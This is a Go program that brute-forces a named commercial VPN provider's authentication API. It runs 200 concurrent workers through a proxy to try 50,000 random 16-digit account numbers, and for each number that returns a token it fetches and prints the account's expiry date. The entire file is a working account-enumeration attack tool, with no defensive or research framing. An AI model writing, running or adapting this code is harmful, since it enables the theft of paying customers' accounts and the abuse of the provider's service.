package main import ( "bytes" "encoding/json" "fmt" "io" "math/rand" "net/http" "net/url" "os" "strconv" "time" "github.com/panjf2000/ants" ) var ( proxy = "" // Proxy URL workers = 200 // Worker threads amount = 50000 // Account amount timeout = time.Second * 10 // Request timeout ) func init() { // Generate random seed rand.New(rand.NewSource(time.Now().UnixNano())) } // A login type Login struct { Number int Client *http.Client Results chan string } // API request type Request struct { Account string `json:"account_number"` } // API error type Error struct { Code string `json:"code"` } // API response type TokenResponse struct { AccessToken string `json:"access_token"` } type AccountResponse struct { Expiry string `json:"expiry"` } // Attempt a login func (l *Login) Attempt() { // Create struct post := Request{ Account: strconv.Itoa(l.Number), } // Encode data data, err := json.Marshal(post) if err != nil { l.Results <- "" return } // POST request req, err := http.NewRequest( "POST", "https://api.mullvad.net/auth/v1/token", bytes.NewBuffer(data), ) if err != nil { l.Results <- "" return } // Set headers req.Header.Set("Host", "api.mullvad.net") req.Header.Set("User-Agent", "mullvad-app") req.Header.Set("Content-Type", "application/json") // Execute request res, err := l.Client.Do(req) if err != nil { l.Results <- "" return } // Read body body, err := io.ReadAll(res.Body) if err != nil { l.Results <- "" return } // Store JSON var tokenResponse TokenResponse var error Error // Parse JSON json.Unmarshal(body, &tokenResponse) json.Unmarshal(body, &error) fmt.Fprintf(os.Stderr, "Error: %s\n", error.Code) // Success if tokenResponse.AccessToken != "" { // Create struct get := Request{ Account: strconv.Itoa(l.Number), } encoded_get, err := json.Marshal(get) if err != nil { l.Results <- "" return } // GET request account_req, err := http.NewRequest( "GET", "https://api.mullvad.net/accounts/v1/accounts/me", bytes.NewBuffer(encoded_get), ) if err != nil { l.Results <- "" return } // Set headers account_req.Header.Set("Host", "api.mullvad.net") account_req.Header.Set("User-Agent", "mullvad-app") account_req.Header.Set("Content-Type", "application/json") account_req.Header.Set( "Authorization", fmt.Sprintf("Bearer %s", tokenResponse.AccessToken), ) // Execute request res, err := l.Client.Do(account_req) if err != nil { l.Results <- "" return } // Read body body, err := io.ReadAll(res.Body) if err != nil { l.Results <- "" return } // Store JSON var account_response AccountResponse // Parse JSON json.Unmarshal(body, &account_response) // Account found if account_response.Expiry != "" { l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, account_response.Expiry) return } } // Error found l.Results <- "" } func main() { // Get job count jobs := amount // Halve worker amount if workers == jobs { workers = workers / 2 } else if workers >= jobs { workers = 1 } // Results channel, new pool results := make(chan string, amount) pool, err := ants.NewPool(workers) // Handle error if err != nil { panic(err) } defer pool.Release() // Make amount of accounts for n := 0; n <= amount; n++ { // Generate number number := rand.Intn(9999999999999999 - 1000000000000000) // Parse proxy URL url, err := url.Parse(proxy) if err != nil { panic(err) } // New HTTP client client := &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyURL(url), }, Timeout: timeout, } // Create login login := &Login{ Number: number, Client: client, Results: results, } // Submit job pool.Submit(func() { // Attempt login login.Attempt() }) } // Recieve all results for r := 0; r <= jobs; r++ { result := <-results if result != "" { fmt.Println(result) } } defer close(results) }